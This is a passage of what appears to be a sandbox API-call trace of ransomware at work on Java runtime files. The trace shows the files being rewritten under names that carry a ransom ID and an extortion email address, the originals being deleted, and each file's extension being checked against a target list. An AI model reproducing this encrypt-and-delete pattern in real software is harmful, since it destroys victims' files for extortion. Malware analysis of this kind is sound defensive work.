"c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.459] GetLastError () returned 0x0 [0311.459] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xaec, lpOverlapped=0x0) returned 1 [0311.460] WriteFile (in: hFile=0x380, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xaf0, lpOverlapped=0x0) returned 1 [0311.461] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.461] WriteFile (in: hFile=0x380, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xfc, lpOverlapped=0x0) returned 1 [0311.461] SetEndOfFile (hFile=0x380) returned 1 [0311.461] CloseHandle (hObject=0x380) returned 1 [0311.461] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.461] SetEndOfFile (hFile=0x390) returned 1 [0311.462] CloseHandle (hObject=0x390) returned 1 [0311.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.462] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0311.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0311.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0311.463] lstrlenW (lpString=".doc") returned 4 [0311.464] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString=".docx") returned 5 [0311.464] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0311.464] lstrlenW (lpString=".pdf") returned 4 [0311.464] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString=".xls") returned 4 [0311.464] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString=".xlsx") returned 5 [0311.464] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0311.464] lstrlenW (lpString=".ppt") returned 4 [0311.464] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0311.464] lstrlenW (lpString=".zip") returned 4 [0311.464] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString=".rar") returned 4 [0311.464] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString=".bz2") returned 4 [0311.464] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString=".7z") returned 3 [0311.464] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0311.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0311.464] lstrlenW (lpString=".dbf") returned 4 [0311.464] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0311.464] lstrlenW (lpString=".1cd") returned 4 [0311.464] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0311.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0311.464] lstrlenW (lpString=".jpg") returned 4 [0311.464] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0311.465] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.465] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.466] GetLastError () returned 0x0 [0311.466] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x2899, lpOverlapped=0x0) returned 1 [0311.466] WriteFile (in: hFile=0x380, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x28a0, lpOverlapped=0x0) returned 1 [0311.469] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.469] WriteFile (in: hFile=0x380, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xfc, lpOverlapped=0x0) returned 1 [0311.469] SetEndOfFile (hFile=0x380) returned 1 [0311.469] CloseHandle (hObject=0x380) returned 1 [0311.469] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.469] SetEndOfFile (hFile=0x390) returned 1 [0311.470] CloseHandle (hObject=0x390) returned 1 [0311.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.470] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0311.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0311.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0311.471] lstrlenW (lpString=".doc") returned 4 [0311.471] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString=".docx") returned 5 [0311.471] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0311.471] lstrlenW (lpString=".pdf") returned 4 [0311.471] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString=".xls") returned 4 [0311.471] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString=".xlsx") returned 5 [0311.471] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0311.471] lstrlenW (lpString=".ppt") returned 4 [0311.471] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0311.471] lstrlenW (lpString=".zip") returned 4 [0311.471] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString=".rar") returned 4 [0311.471] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString=".bz2") returned 4 [0311.471] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0311.471] lstrlenW (lpString=".7z") returned 3 [0311.471] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0311.471] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0311.472] lstrlenW (lpString=".dbf") returned 4 [0311.472] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0311.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0311.472] lstrlenW (lpString=".1cd") returned 4 [0311.472] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0311.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0311.472] lstrlenW (lpString=".jpg") returned 4 [0311.472] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0311.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0311.473] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0311.473] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0x0) returned 1 [0311.473] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0311.473] ReadFile (in: hFile=0x390, lpBuffer=0x3f52058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f52058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.501] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x11c39f, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0311.501] ReadFile (in: hFile=0x390, lpBuffer=0x3f92058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f92058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.521] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0311.522] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x314add, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0311.522] ReadFile (in: hFile=0x390, lpBuffer=0x3fd2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3fd2058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.571] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.572] WriteFile (in: hFile=0x390, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x34ffca8, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffca8*=0xc0106, lpOverlapped=0x0) returned 1 [0311.587] SetEndOfFile (hFile=0x390) returned 1 [0311.587] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x4504008 [0311.591] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0311.591] WriteFile (in: hFile=0x390, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0311.592] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x11c39f, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0311.592] WriteFile (in: hFile=0x390, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0311.595] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x314add, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0311.595] WriteFile (in: hFile=0x390, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0311.993] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0312.089] CloseHandle (hObject=0x390) returned 1 [0312.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0312.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0312.089] lstrlenW (lpString=".doc") returned 4 [0312.089] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0312.089] lstrlenW (lpString=".docx") returned 5 [0312.089] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0312.089] lstrlenW (lpString=".pdf") returned 4 [0312.089] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0312.089] lstrlenW (lpString=".xls") returned 4 [0312.090] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0312.090] lstrlenW (lpString=".xlsx") returned 5 [0312.090] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0312.090] lstrlenW (lpString=".ppt") returned 4 [0312.090] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0312.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0312.090] lstrlenW (lpString=".zip") returned 4 [0312.090] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0312.090] lstrlenW (lpString=".rar") returned 4 [0312.090] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0312.090] lstrlenW (lpString=".bz2") returned 4 [0312.090] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0312.090] lstrlenW (lpString=".7z") returned 3 [0312.090] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0312.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0312.090] lstrlenW (lpString=".dbf") returned 4 [0312.090] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0312.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0312.090] lstrlenW (lpString=".1cd") returned 4 [0312.090] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0312.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0312.090] lstrlenW (lpString=".jpg") returned 4 [0312.090] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0312.091] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.091] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.092] GetLastError () returned 0x0 [0312.092] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x8eac, lpOverlapped=0x0) returned 1 [0312.093] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0312.095] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.095] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0312.095] SetEndOfFile (hFile=0x374) returned 1 [0312.096] CloseHandle (hObject=0x374) returned 1 [0312.096] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.096] SetEndOfFile (hFile=0x390) returned 1 [0312.097] CloseHandle (hObject=0x390) returned 1 [0312.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0312.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0312.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0312.098] lstrlenW (lpString=".doc") returned 4 [0312.098] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0312.098] lstrlenW (lpString=".docx") returned 5 [0312.098] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0312.099] lstrlenW (lpString=".pdf") returned 4 [0312.099] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString=".xls") returned 4 [0312.099] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString=".xlsx") returned 5 [0312.099] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0312.099] lstrlenW (lpString=".ppt") returned 4 [0312.099] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0312.099] lstrlenW (lpString=".zip") returned 4 [0312.099] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString=".rar") returned 4 [0312.099] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString=".bz2") returned 4 [0312.099] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString=".7z") returned 3 [0312.099] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0312.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0312.099] lstrlenW (lpString=".dbf") returned 4 [0312.099] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0312.099] lstrlenW (lpString=".1cd") returned 4 [0312.099] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0312.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0312.099] lstrlenW (lpString=".jpg") returned 4 [0312.099] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0312.100] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.100] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.101] GetLastError () returned 0x0 [0312.101] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x62, lpOverlapped=0x0) returned 1 [0312.102] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x70, lpOverlapped=0x0) returned 1 [0312.103] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.103] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0312.103] SetEndOfFile (hFile=0x374) returned 1 [0312.103] CloseHandle (hObject=0x374) returned 1 [0312.103] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.103] SetEndOfFile (hFile=0x390) returned 1 [0312.104] CloseHandle (hObject=0x390) returned 1 [0312.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0312.104] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0312.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0312.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0312.105] lstrlenW (lpString=".doc") returned 4 [0312.105] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString=".docx") returned 5 [0312.106] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0312.106] lstrlenW (lpString=".pdf") returned 4 [0312.106] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString=".xls") returned 4 [0312.106] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString=".xlsx") returned 5 [0312.106] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0312.106] lstrlenW (lpString=".ppt") returned 4 [0312.106] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0312.106] lstrlenW (lpString=".zip") returned 4 [0312.106] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString=".rar") returned 4 [0312.106] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString=".bz2") returned 4 [0312.106] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString=".7z") returned 3 [0312.106] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0312.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0312.106] lstrlenW (lpString=".dbf") returned 4 [0312.106] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0312.106] lstrlenW (lpString=".1cd") returned 4 [0312.106] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0312.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0312.106] lstrlenW (lpString=".jpg") returned 4 [0312.106] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0312.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.107] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.107] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.108] GetLastError () returned 0x0 [0312.108] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xdc7, lpOverlapped=0x0) returned 1 [0312.109] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xdd0, lpOverlapped=0x0) returned 1 [0312.110] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, 